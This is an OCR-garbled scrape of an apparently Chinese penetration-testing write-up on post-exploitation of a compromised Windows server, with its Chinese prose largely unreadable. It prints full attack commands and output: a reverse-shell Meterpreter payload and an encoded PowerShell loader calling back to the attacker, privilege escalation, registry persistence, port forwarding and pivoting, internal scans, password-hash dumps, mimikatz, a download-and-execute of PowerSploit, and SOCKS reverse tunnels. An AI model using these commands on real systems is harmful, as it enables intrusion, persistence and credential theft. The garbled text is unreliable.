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D:\WWW\**xk\master\> query user

*x RERF
KHEH REL
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D: \WWW\*xx\master\> netstat —ano

EER

WX Zthitbit
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D : \WWW\*x**xk\master\>

Windows IP &

MKW Efces AH&ER 4:

EXTEN— KT R BIE - 588 - BUE A

ipconfig

HEERER DNS B4 .

AHEEE IPv6 ithilf.
IPv4 itk .

R LT

IPv4 iblif .
TR

BRIAR K .

MRS AithERE 3:

HEENEMN DNS F4 .

AHEEE IPV6 ithilf.
BshBcE IPv4 itit
TR
BRIARIK «

MRS AithERE 2:

HEEEMN DNS F4 .

AHEEE IPV6 ithilf.
BHafcE IPv4 bk
TR
BRIARIK «

MKMER s A& :

HEENEMN DNS F4 .

AHEEE IPV6 ithilf.
IPv4 iblif .
TR

BRIARIK «

: Te80::35ec:kx*x*x:321d%17
: 10.159.191.178
: 255.255.255.128
T oskkskok
: 255.255.255.255
: 10.159.191.254

: fe80: ixkkk:7011%15
1 169.254.112.31
: 255.255.0.0

: fe80: ixkkk:7c4d:bf24%13
1 169.254.191.36
: 255.255.0.0

: fe80: ikxkk:b5e7:5894%11
: 10.159.63.178
1 255.255.255.128

FZEERC2S isatap.{228D34A2—x*x*x-BO5B-2891059A32DF}:

RIS

EENEN DNS F4 .

D RRERRFF

MEEAC2S isatap.{9F839E1D—+**—82F7-592092A89872}:

BRIRTS

HEERER DNS B4 .

1 RRERTFF

h%i8 &R 28 isatap.{C900083B-5E7E—**+x—8BC25B24D7C1}:

BRIRTS

ERISTER DNS 54 .

1 RRE R

R¥iEEACSS isatap.{0E2DB1BO-50C3—*+*x*x—4F5513DCBDO8} :

AR

HEENEMN DNS F4 .
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h%EEfC2: 6T04 Adapter:

BEIRSERI DNS B4 . .« . . . . .

IPVO HBtE . . v v v e . . . f kR
AR . v v v e e e e e e e

XA P Rk Fe g A B 1, R R T AR
0x02 [E51E A

ST
123.2n"
10.158.191.178

oo a0 B ]

B4 2008 EA =N
10.211.55.5 182.168.3.14
10.211.55.2
BESAENGE I

HRERELE K —IMSFARLD, HErHT&WIin 200837 #f Powershell, 0] DI E#—4] 1%
i 1)

./pslencode.rb —-i #MMIP —p 1131 -a windows/x64/meterpreter/reverse_tcp
XEFARAIAT TN R, B A 13 U 2 AL 1131

MSF3X 1 W5 ifr1131:
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Jobs

Id Name Payload Payload opts

0 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://0.0.0.
0:1131

psiencode Wi H : https://github.com/CroweCybersecurity/psiencode

powershell —-nop -win Hidden -noni —enc JAAxXACAAPQAgACCcAJABjACAAPQAgACcAJwBbA
EQAbABSAEKAbQBwWAG8ACcgBOACgAIgBrAGUAcgBUAGUAbAAZADIALgBKAGWAbAAiIACKAXQBWAHUAY
gBsAGkAYwAgAHMAJABhAHQAaQBjACAAZQB4AHQAZQBYAG4AIABIAGAAdABQAHQACgAgAFYAaQByA
HQAdQBhAGwWAQQBsAGwAbwBjACgASQBUAHQAUABOAHIATIABSAHAAQQBKAGQAcgB1AHMACwASACAAd
QBpAG4AdAAgAGQAdwBTAGkAegBLACWAIAB1AGkAbgBOACAAZgBSAEEAbABSAGBAYwBhAHQAaQBVA
G4AVAB5AHAAZQASACAAdQBpAG4AdAAgAGYAbABQAHIAbwBOAGUAYwBOACKAOWBbAEQADABSAEKAD
QBwWAG8ACcgBOACgAIgBrAGUAcgBuAGUAbAAZADIALgBKAGWAbAAIACKAXQBWAHUAYgBSAGKAYwAQA
HMAJABhAHQAaQBjACAAZQB4AHQ

{HRIEEBOR R . B EN RN IER SR . Ml R webshellt& i 745 B K KA E
Hep
QR T emd UG PRIIAS 5 3, vbsIIA R B, —RETE R

Y E AR Hlpowershell 7, % flexe

./pslencode.rb -i [FHMANIP] -p 1131 -a windows/x64/meterpreter/reverse_tcp
-t exe

PATFE P A IS T BLX A UL -

msf exploit(handler) >

[*] Sending stage (179267 bytes) to sk.xk.*.x

[*] Meterpreter session 1 opened (192.168.3.13:1131 —> *.*.*.%*:54103) at 201
7-12-27 13:54:58 +0800

[*] *.%.*.* — Meterpreter session 9 closed. Reason: Died

TR A IR S 53R E R AN
HECH:
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./pslencode.rb —i *.*.*.* —p 1131 —-a windows/x64/meterpreter/reverse_tcp ——3
2bitexe -t exe

fdi FHWebShell} 475 :

msf exploit(handler) >

[*] Sending stage (179267 bytes) to sk.xk.*.x

[x] Meterpreter session 6 opened (192.168.3.13:1131 —> *.*.*.*:54085) at 201
7-12-27 13:51:41 +0800

PR

msf exploit(handler) > sessions -i 6

[x] Starting interaction with 6...

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run persistence -X -i 50 -p 1132 -r [FHHARNIP]

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_
exe.

['] Example: run post/windows/manage/persistence_exe OPTION=value [...]

[*] Running Persistence Script

[*] Resource file for cleanup created at /Users/liyingzhe/.msf4/logs/persist
ence/ZXKF3_20171227.1214/ZXKF3_20171227.1214.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=x.x.*.* LPORT=113
2

[*] Persistent agent script is 99700 bytes long

[+] Persistent Script written to C:\Users\ALLEN~1.ZXK\AppData\Local\Temp\iyW
fi0pMC.vbs

[*] Executing script C:\Users\ALLEN~1.ZXK\AppData\Local\Temp\iyWfiOpMC.vbs
[+] Agent executed with PID 5204

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersio
N\Run\CRHiMoLoChdTP

[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion
\Run\CRHiMoLoChdTP

0x03 K FIXPRAEFFHIE

persistence {3t
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meterpreter > info post/windows/manage/persistence_exe

Name: Windows Manage Persistent EXE Payload Installer
Module: post/windows/manage/persistence_exe
Platform: Windows
Arch:
Rank: Normal

Provided by:
Merlyn drforbin Cousins <drforbin6@gmail.com>

Basic options:

Name Current Setting Required Description

REXENAME default.exe yes The name to call exe on remote system
REXEPATH yes The remote executable to use.

SESSION yes The session to run this module on.
STARTUP USER yes Startup type for the persistent paylo

ad. (Accepted: USER, SYSTEM, SERVICE)

Description:
This Module will upload an executable to a remote host and make it
Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER
will start on user login, SYSTEM will start on system boot but
requires privs. SERVICE will create a new service which will start
the payload. Again requires privs.

Module options (post/windows/manage/persistence_exe):

Name Current Setting Required Description

REXENAME default.exe yes The name to call exe on remote syste
m

REXEPATH yes The remote executable to use.

SESSION yes The session to run this module on.

STARTUP  USER yes Startup type for the persistent payl

oad. (Accepted: USER, SYSTEM, SERVICE)

e A XA post/windows/manage/persistence_exe

EHTOE AN EERRETT, s E i, SR, HEXE T
i

B4

https://payloads.online/archivers/2017-12-28/1

9/36



2019/2/21

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_

exe.

EXTEN— KT R BIE - 588 - BUE A

[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

-L <opt>
-P <opt>

-T <opt>

-1 <opt>
—p <opt>
-r <opt>

metsve

BHE— M EEMhand ler&igiEE

EEZBW

fgEpayload , EIAR windows/meterpreter/reverse_tcp.
ERIERNRSZSBBIE (BBSYSTEMAR)
{EFRENR

P& & BehiaohiE

AR5 SN EshamE

EH R

(8] R 2 D RMGIE Fllin & IR E R

AT SER ST

IS IH B E AN I PitbiE

meterpreter > run metsvc -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_

exe.

[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]

OPTIONS:

-A
-h
-r

BB — i exploit/multi/handlersE&EERS
i el
ENEARSS

B ERE, A EHTE SN IR
0x04 i 3% & Z portfwd1£4%

https://payloads.online/archivers/2017-12-28/1

10/36



2019/2/21

EXTEN— KT R BIE - 588 - BUE A

meterpreter > ifconfig

Interface 1

Name

MTU

IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 11

Name

Hardware MAC :
: 1500
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

MTU

Interface 12

Name

MTU

IPv6 Address :
IPv6 Netmask :

Interface 13

Name

MTU

IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 14

Name

MTU

IPv6 Address :
IPv6 Netmask :

Interface 15

Name

Hardware MAC :
: 1500
IPv4 Address :

MTU

: Software Loopback Interface 1
Hardware MAC :
1 4294967295

00:00:00:00:00:00

127.0.0.1

255.0.0.0

il
ffffeffffffffiffffiffffiffffiffffiffff

: Broadcom NetXtreme Gigabit Ethernet

c8:1f:66:f2:29:6b

10.159.63.178
255.255.255.128
feB80::4d1c:361b:b5e7:5894
ffffiffffiffff:ffff::

! Microsoft ISATAP Adapter
Hardware MAC :
: 1280

00:00:00:00:00:00

feB80::5efe:a9f:3fb2
ffffiffffiffff:ffff:ffffeiffffiffffiffff

: Broadcom NetXtreme Gigabit Ethernet #2
Hardware MAC :
: 1500

c8:1f:66:f2:a9:6¢C

169.254.191.36
255.255.0.0
fe80::b805:65eb:7c4d:bf24
ffffiffffeffff:ffff::

: Microsoft ISATAP Adapter #2
Hardware MAC :
: 1280

00:00:00:00:00:00

fe80::5efe:a9fe:bf24
ffffiffffeffff:ffff:ffffeffff:ffff:ffff

: Broadcom NetXtreme Gigabit Ethernet #3

c8:1f:66:f2:a9:6d

169.254.112.31
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IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 16

Name

Hardware MAC :
1 1280

MTU

IPv6 Address :
IPv6 Netmask :

Interface 17

Name

Hardware MAC :
: 1500

MTU

IPv4 Address :
IPv4 Netmask :
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 18

Name

MTU

Interface 21

Name

Hardware MAC :
1 1280

MTU

IPv6 Address :
IPv6 Netmask :

EXTEN— KT R BIE - 588 - BUE A

255.255.0.0
fe80::1d1d:79:e
ffff:ffffiffff:

: Microsoft ISATA

00:00:00:00:00:

feB80::5efe:a9%fe
ffff:ffff:iffff:

: Broadcom NetXtr

c8:1f:66:f2:a9:

10.159.191.178
255.255.255.128
ook okok ok, tokok
255.255.255.255
fe80::35ec:8852
ffffiffffiffff:

: Microsoft ISATA
Hardware MAC :
: 1280
IPv6 Address :
IPv6 Netmask :
IPv6 Address :
IPv6 Netmask :

00:00:00:00:00:

feB80::5efe:a9f:
ffff:ffffiffff:
feB80::200:5efe:
ffff:ffff:iffff:

: Microsoft 6to4

00:00:00:00:00:

2002:7b67:7168:
ffff:ffff:ffff:

https://payloads.online/archivers/2017-12-28/1

7f1:701f
ffff::

P Adapter #3
00

:701f
ffffeffff:ffff:ffff:ffff

eme Gigabit Ethernet #4
6e

:7f1f:321d
ffff::

P Adapter #4
00

bfb2
ffffiffffeffffiffffiffff
7b67:7168
frffeffffeffffifffffffef

Adapter
00

:7b67:7168
ffffiffff:ffff:ffff:ffff
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meterpreter > netstat -anpt

Connection list

Proto Local address

User 1Inode PID/Program name

0

0

tcp 169.254.191.36:139

0 4/System
tcp 0.0.0.0:135

0 12/svchost.exe
tcp 0.0.0.0:445

0 4/System
tcp 0.0.0.0:3306

0 1740/mysqld.exe
tcp 0.0.0.0:3389

0 3740/svchost.exe
tcp 0.0.0.0:47001

0 4/System
tcp 0.0.0.0:49152

0 828/wininit.exe
tcp 0.0.0.0:49153

0 1052/svchost.exe
tcp 0.0.0.0:49154

0 1108/svchost.exe
tcp 0.0.0.0:21

0 1692/svchost.exe
tcp 0.0.0.0:49160

0 932/1sass.exe
tcp 0.0.0.0:49161

0 924/services.exe
tcp 10.159.63.178:139

0 4/System
tcp 10.159.191.178:139

0 4/System
tcp 10.159.191.178:58359

5576/1.exe
tcp 10.159.191.178:58362

4700/1.exe

tcp 10.159.191.178:58590
2472/Ijkptue.exe
tcp 169.254.112.31:139

0 4/System
tcp 0.0.0.0:80

0 1584/httpd.exe
tcpb 1::49160

0 932/1sass.exe
tcpb 121

0 1692/svchost.exe
tcpb 1::80

0 1584/httpd.exe
tcpb 1::135

0 12/svchost.exe
tcpb 1::445

0 4/System
tcpb :::3389

0 3740/svchost.exe

https://payloads.online/archivers/2017-12-28/1

Remote address

HE S

VK

11131

11131

Tk

VK

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

ESTABLISHED ©
ESTABLISHED @

14961 SYN_SENT

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN
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tcpb

tcpb
tcpb
tcpb
tcpb
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp
udp6
udp6
udp6
udp6
udp6

udp6
0 0

AT LAE RS 45018 173389, MR FRAN R 7 2k #3389 B apler - (RIA 22 7.

75 2 St ) FR 1)

{# A portfwd

1::47001
4/System
1::49152
828/wininit.exe
:::49153
1052/svchost.exe
:::49154
1108/svchost.exe
:::49161
924/services.exe
0.0.0.0:500
1108/svchost.exe
0.0.0.0:4500
1108/svchost.exe
0.0.0.0:5355
1248/svchost.exe
10.159.63.178:137

4/System
10.159.63.178:138
4/System
10.159.191.178:137
4/System
10.159.191.178:138
4/System
169.254.112.31:137
4/System
169.254.112.31:138
4/System
169.254.191.36:137
4/System
169.254.191.36:138
4/System
1::500
1108/svchost.exe
:::4500
1108/svchost.exe
:::5355

1248/svchost.exe
feB80::1d1d:79:e7f1:701f:546
1052/svchost.exe
fe80::35ec:8852:7f1f:321d:546
1052/svchost.exe
fe80::4d1c:361b:b5e7:5894:546
1052/svchost.exe
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EXTEN— KT R BIE - 588 - BUE A
HHHE

HHE S

HHE S

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN
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meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt> H&: Athizimht K@ AHENERIE b

-R RRIERR B
-h HEER

-i <opt> WWOEKRFENRIISRE (BSH"IIR"HL)
-1 <opt> ¥&: AMIROWIT KA AiisOEE

-p <opt> ¥K: IREROEER KE: TEHKOST

-r <opt> AR ERFITEEMN

THERZ—F (ER$XK)

HE: K M5 G EVLRI3389% & B A Hy

portfwd add -L 0.0.0.0 -1 1144 -p 3389 -r 10.159.63.178

LB LA 11448040 24 1% 4%10.159.63.178

FUR - A R 2 15 T L 11 3 B e e B 58 5 A ) SE AL (A 11 4055)

portfwd add -R -1 8080 —p 1478 -L 10.159.191.2

I3 18]10.159.63.178 1 147815 I i AH 24 F1/ 1] 10.159.191.2 ) 808 01 [

portfwd delete -i 1

TR 2% B R 1 4% 4

portfwd list

5 i 1 4% % 4% H

portfwd flush
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WA R

AL +H-

i MR
A i
meterpreter > run autoroute -s 10.159.0.0 255.255.128.0
meterpreter > run autoroute -s 10.159.128.0 255.255.128.0
meterpreter > run autoroute -s 10.159.63.0 255.255.255.128
meterpreter > run autoroute -s 10.159.191.0 255.255.255.128

YIRAE RERHT . PRREECEL H SIS INES B, TR R TN T

msf auxiliary(tcp) > load auto_add_route

msf auxiliary(tcp) >

[*] Sending stage (179267 bytes) to skkk.skskk. kkk. kokxk

[*] Meterpreter session 9 opened (192.168.3.14:1131 —> sk, skokk. kol kokok: 6037
2) at 2018-01-02 15:22:20 +0800

[*] AutoAddRoute: Routing new subnet 10.0.0.0/255.0.0.0 through session 9
[*] AutoAddRoute: Routing new subnet 10.159.0.0/255.255.128.0 through sessio

n 9

[*] AutoAddRoute: Routing new subnet 10.159.63.128/255.255.255.128 through s

ession 9

[*] AutoAddRoute: Routing new subnet 10.159.128.0/255.255.128.0 through sess

ion 9

[*] AutoAddRoute: Routing new subnet 10.159.191.128/255.255.255.128 through
session 9

[*] AutoAddRoute: Routing new subnet 169.254.0.0/255.255.0.0 through session
9

[*] AutoAddRoute: Routing new subnet 192.168.0.0/255.255.0.0 through session
9

[-]1 The 'stdapi' extension has already been loaded.
msf auxiliary(tcp) > sessions -i 9
[x] Starting interaction with 9...

meterpreter >

R etasm, MR TFPMARKRT, RSB RNKERE) HiE, e —T71
PIRAN, T3l R G AN~

EEE]
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msf exploit(handler) > use auxiliary/scanner/portscan/syn

msf auxiliary(syn) > set PORTS 22-25,80-85,1433,3306,3389,445,135,139
PORTS => 22-25,80-85,1433,3306,3389,445,135,139

msf auxiliary(syn) > set RHOSTS 10.159.191.1-254

RHOSTS => 10.159.191.1-254

msf auxiliary(syn) > run

https://payloads.online/archivers/2017-12-28/1 17/36
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msf
msf

EXTEN— KT R BIE - 588 - BUE A

> use auxiliary/scanner/portscan/tcp
auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description
CONCURRENCY 10 yes The number of concurrent ports to
check per host
DELAY 0 yes The delay between connections, pe
r thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum
value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-
900)
RHOSTS yes The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in mil
liseconds

msf auxiliary(tcp) > set PORTS 22-25,80-85,1433,3306,3389,445,135,139
PORTS => 22-25,80-85,1433,3306,3389,445,135,139

msf auxiliary(tcp) > set RHOSTS 10.159.191.1-254
RHOSTS => 10.159.191.1-254

msf

auxiliary(tcp) > set THREADS 3

THREADS => 3

msf
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[*]
[+]
[+]
[+]
[+]

auxiliary(tcp) > run

10.159.191.1: - 10.159.191.1:22 - TCP OPEN
10.159.191.2: - 10.159.191.2:8080 — TCP OPEN
10.159.191.5: - 10.159.191.5:22 - TCP OPEN
10.159.191.5: - 10.159.191.5:8080 — TCP OPEN
10.159.191.7: - 10.159.191.7:22 - TCP OPEN
10.159.191.8: - 10.159.191.8:22 - TCP OPEN
10.159.191.7: - 10.159.191.7:8080 — TCP OPEN
10.159.191.8: - 10.159.191.8:8080 — TCP OPEN
10.159.191.6: - 10.159.191.6:8080 — TCP OPEN
10.159.191.10: - 10.159.191.10:22 - TCP OPEN
10.159.191.11: - 10.159.191.11:22 - TCP OPEN
10.159.191.9: - 10.159.191.9:22 - TCP OPEN
10.159.191.11: - 10.159.191.11:8080 — TCP OPEN
10.159.191.9: - 10.159.191.9:8080 — TCP OPEN
10.159.191.10: - 10.159.191.10:8080 — TCP OPEN
10.159.191.12: - 10.159.191.12:22 - TCP OPEN
10.159.191.12: - 10.159.191.12:8080 — TCP OPEN
10.159.191.15: - 10.159.191.15:22 - TCP OPEN
10.159.191.15: - 10.159.191.15:8080 — TCP OPEN
10.159.191.13: - 10.159.191.13:8080 — TCP OPEN
10.159.191.18: - 10.159.191.18:8080 — TCP OPEN
10.159.191.17: - 10.159.191.17:8080 — TCP OPEN
10.159.191.19: - 10.159.191.19:22 - TCP OPEN
10.159.191.19: - 10.159.191.19:8080 — TCP OPEN
10.159.191.26: - 10.159.191.26:22 - TCP OPEN
10.159.191.26: - 10.159.191.26:3306 — TCP OPEN
Scanned 26 of 254 hosts (10% complete)
10.159.191.35: - 10.159.191.35:22 — TCP OPEN
10.159.191.36: - 10.159.191.36:22 — TCP OPEN
10.159.191.39: - 10.159.191.39:22 - TCP OPEN
10.159.191.39: - 10.159.191.39:3306 — TCP OPEN

https://payloads.online/archivers/2017-12-28/1
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[+] 10.159.191.50: - 10.159.191.50:22 - TCP OPEN
[+] 10.159.191.51: - 10.159.191.51:22 - TCP OPEN
[+] 10.159.191.50: - 10.159.191.50:3306 — TCP OPEN
kekkskokk

0x05 Meterpreter
SREXHashEY /LA

run hashdump

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdu
mp.

[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]

[x] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 699b2df6ee97132bcad5b2f9efdc738
€1
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: war
ning: constant OpenSSL::Cipher::Cipher is deprecated

[*] Obtaining the user list and keys...

[x] Decrypting user keys...
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: war
ning: constant OpenSSL::Cipher::Cipher is deprecated
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: war
ning: constant OpenSSL::Cipher::Cipher is deprecated
/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: war
ning: constant OpenSSL::Cipher::Cipher is deprecated

[x] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...
Administrator:500:aad3b4**xxb51404ee:a4b09576473b6a35e456ed407a98e334:::
Guest:501:aad3b435b5140x**404ee:31d6cfe@d16ae931b73¢c59d7e0c089c0: ::
ftpuser:1000:aad3b435b51kxxxee:2280c4ddb554cdcdc62c72¢29112810a: : :

patrol:1002:aad3b435b51*xxxx78ab2d769fda7ded45a3622a62ea: : :
neuadmin:1005:aad3b435%x*x404ee:345b3b0faf52aea5200dalcf8d1323a0:::

run powerdump
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meterpreter > run powerdump

[*] PowerDump v@.1 - PowerDump to extract Username and Password Hashes...

[*] Running PowerDump to extract Username and Password Hashes...

[*] Uploaded PowerDump as 53805.psl to %TEMP%...

[x] Setting ExecutionPolicy to Unrestricted...

[*] Dumping the SAM database through PowerShell...
??Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4b09576473b6a35e456ed4

07a98e334:::
Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c@89c
?ééaser:1000:aad3b435b51404eeaad3b435b51404ee:2280c4ddb554cdcdc62c72c291f281
g:iiél:1002:aad3b435b51404eeaad3b435b51404ee:ce7878ab2d769fda7de045a3622a62e
ﬁ;;;dmin:1005:aad3b435b51404eeaad3b435b51404ee:345b3b0faf52aea5200da1cf8d132
2??é6;1007:aad3b435b51404eeaad3b435b51404ee:53a6281e41664275dfbccd4d171e406
fi::

[x] Setting Execution policy back to Restricted...
[*] Cleaning up after ourselves...

load mimikatz kerberos

meterpreter > load mimikatz

Loading extension mimikatz...

[!] Loaded x86 Mimikatz on an x64 architecture.
Success.

meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials

kerberos credentials

AuthID Package Domain User Password

kokkskokk kokkokkskok kokkskokk kokkk skokkokkokokk

run post/windows/gather/smart_hashdump
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meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against ZXKF3

[*] Hashes will be saved to the database if one is connected.

[+] Hashes will be saved in loot in JtR password file format to:

[*] /Users/liyingzhe/.msf4/100t/20171228143129 default_10.159.191.178_window
s.hashes_440460.txt

[*] Dumping password hashes...

[*] Running as SYSTEM extracting hashes from registry

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 699b2df6ee97132bcad5b2f9efdc?
38e...

[*] Obtaining the user list and keys...

[x] Decrypting user keys...

[x] Dumping password hints...

[x] No users with password hints on this system

[x] Dumping password hashes...

[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4b09576473b6a35e
456ed407a98e334: ::

[+] ftpuser:1000:aad3b435b51404eeaad3b435b51404ee:2280c4ddb554cdcdc62c72
€c291f2810a:::

[+] patrol:1002:aad3b435b51404eeaad3b435b51404ee: ce7878ab2d769fda7de045a
3622a62ea:::

[+] neuadmin:1005:aad3b435b51404eeaad3b435b51404ee:345b3b0faf52aea5200da
1cf8d1323a0:::

0x06 PowerShell}%I5
ShEBPowershel i Z<

Powersploit https://github.com/PowerShellMafia/PowerSploit

Sk ()
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meterpreter > load powershell

Loading extension powershell...Success.

meterpreter > powershell_shell

PS > whoami

nt authority\system

PS > IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercon
tent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.psl");

PS > Invoke-Portscan -Hosts 10.159.63.2 -Ports "21"

Hostname : 10.159.63.2

alive : True

openPorts : {21}

closedPorts : {}

filteredPorts : {}

finishTime 1 2017/12/28 17:19:46

S RhnE s (Geilad HAb AR 40

meterpreter > run post/windows/manage/download_exec URL=https://raw.githubus
ercontent.com/PowerShellWMafia/PowerSploit/master/Recon/Invoke-Portscan.psl

[*] 41534 bytes downloaded to C:\Windows\TEMP\Invoke-Portscan.psl in 1 secon
ds

meterpreter > powershell_shell

PS > C:\Windows\TEMP\Invoke-Portscan.psl

PS > Invoke-Portscan -Hosts 10.159.63.5 —Ports "22"

Hostname : 10.159.63.5

alive : True

openPorts 1 {22}

closedPorts : {}

filteredPorts : {}

finishTime 1 2017/12/28 17:23:45

0x07 B— /X = iR

Z RIS A Portfwd . (HRRCRKZE T, BRI K, 2K Meterpreteriisi,
I B E I LR AR A 2

KUK FISockss5H T, FANH 7 AMARIARSS 4%, JFBL—SocksAH i 1, K4 % 2
HARPA M

B WA e 55 s -
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root@iZm5exx*x1ga7bq@7Z:~# ./ew_for_linux64 -s rcsocks -1 1080 -e 888 &

P AL :

ew_for_Win.exe -s rssocks -d [fRS383IP] -e 888

ew N MiAE:  http://rootkiter.com/EarthWorm/

PUFEAEN Yot ik B — T SockssARBERIEI 35 I W, REGE

(——
EEgE x

ECE AR EfF BN CE
TMERRE

B et Mg E
EHASAERE
0) FMEERE:
HTTP fRI2: L mE 0
RErEhNEREERE

SSL ft@: tHO: 0
FTP fRI8: im0l 0
SOCKS F#l: | .. Lo EL./7 tHO: 1080 -

SOCKSv4 (@ SOCKSvh

TERAE:
localhost, 127.0.0.1

#80: .mozilla.org, .net.nz, 192.168.1.0/24
BEafti2EE (PAC) :

= E SN
NRBECHRE, THETEHEIT
{#F SOCKS vb {4 DNS
FEED ENiE BEE
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ece np Marathon =[5 Storm 1 x

.+

ERTEN— K RBIE -

Figk - iR %

#BH> © ¢ 08 ¢ € | O 10.159.185.

B & GEemwa- DR~ [0mmeEs-

Topology-1

UEHE ¢ & S~

[0 #ae - C]8R3% - O IARN - 0O #4RA% - [ REFE - O #9A% - @ awes O S8Rk - O 9283 -

word-Gounter
NaN ms

defauite; 0%

word-normalizer
NaN ms

Topology Configuration

Show | 20 jsnmes

Key 4 Value
backpressure.disruptor.high.watermark 0.9
backpressure.disruptor.low. watermark 0.4
client.blobstore.class

rav 7nakaanar nath ntmn/dev-s

0x08 FigHtH

— IR FAE POWGIVS].EﬂOltEHrFF {HR: T

A-session, LT HHEE G

n\\

T AR R G2 AR,

torm-zonkeenar"

"org.apache.storm.blobstore.NinbusBlobStore”

, YeEK H Nmap

ZafFMeterpreterf A Ha BUE] , XAERLSE T —

T E 4z Hiproxychains-ng

brew install proxychains-ng

TEF23EYE: Jusr/local/Cellar/proxychains-ng/4.12_1/bin/proxychains4

BB SCfF: /usr/local/etc/proxychains.conf

A IN— 2% Socks5 L3 :

#Examples:

#

# socks5 192.168.
# http 192.168.
# socks4 192.168.
# http 192.168.
[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"
SOCKSS5  skksk, skokok , skokok o skokok

IR GEREE

https://payloads.online/archivers/2017-12-28/1
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~ fusr/local/Cellar/proxychains-ng/4.12_1/bin/proxychains4 nmap 18.159.165.181
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/1ib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-64 16:12 CST

[proxychains] Strict chain ... FRH 11080 10.159.165.101:80 ... OK

[proxychains] Striect chain 18806 .. 10.159.165.101:587 <--socket error or timeout!
[proxychains] Strict chain 1e8e . 10.159.165.101:8888 <--socket error or timeout!
[proxychains] Striect chain 11886 .. 10.159.165.161:113 < ocket error or timeout!
|[pruxychains] Strict chain 1888 .. 10.159.165.101:17280 <--socket error or timeout!
[proxychains] Strict chain 1686 10.159.165.1061:139 <--socket error or timeout!
[proxychains] Strict chain ;1886 . 10.159.165.101:21 . 0K

[proxychains] Strict chain 10.159.165.101:3306 <--socket error or timeout!
[proxychains] Striect chain 10.159.165.101:554 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.101:5960 —-socket error or timeout!
[proxychains] Striect chain 10.159.165.101:23 < ocket error or timeout!
[proxychains] Strict chain 10.159.165.101:135 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.181:25 < ocket error or timeout!
[proxychains] Strict chain 10.159.165.101:993 <--socket error or timeout!
[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

[proxychains] Strict chain 10.159.165.101:199 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.1081:995 <--socket error or timeout!
[proxychains] Striect chain 10.159.165.101:111 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.101:86880 ... OK

| [proxychains] Striet chain 10.159.165.101:3389 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.101:143 <--socket error or timeout!
[proxychains] Strict chain 10.159.165.161:443 ... OK

[proxychains] Strict chain timeout

[proxychains] Strict chain timeout

OX09 1IZI Iu\}gﬁ lez:t

i v DU HTTPARSS BT, AB—Liage N B3 =, fl—LMS17010iF
TRy WindowsfR 5545 . H & A 1 HE&%H Wi B AR AE 4T

TEN PR R B R AR 2 T iz 4E N I T HERGER . TR Web/R45 4%
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.159,191.223

.159.191.217

10.159.191.216

NANEU211 »159,191.212
\\WIN-7947P@78A6E 10.159.191.231
\\WIN-GBANABACU7G 10.159.191.232

dxZkB5D@UU4gKY ZVMxuBRkyLmoaX@sen
portfwd add -L 0.0.0.0 -p 80 -r 10.159.191.223 -1 1144 #
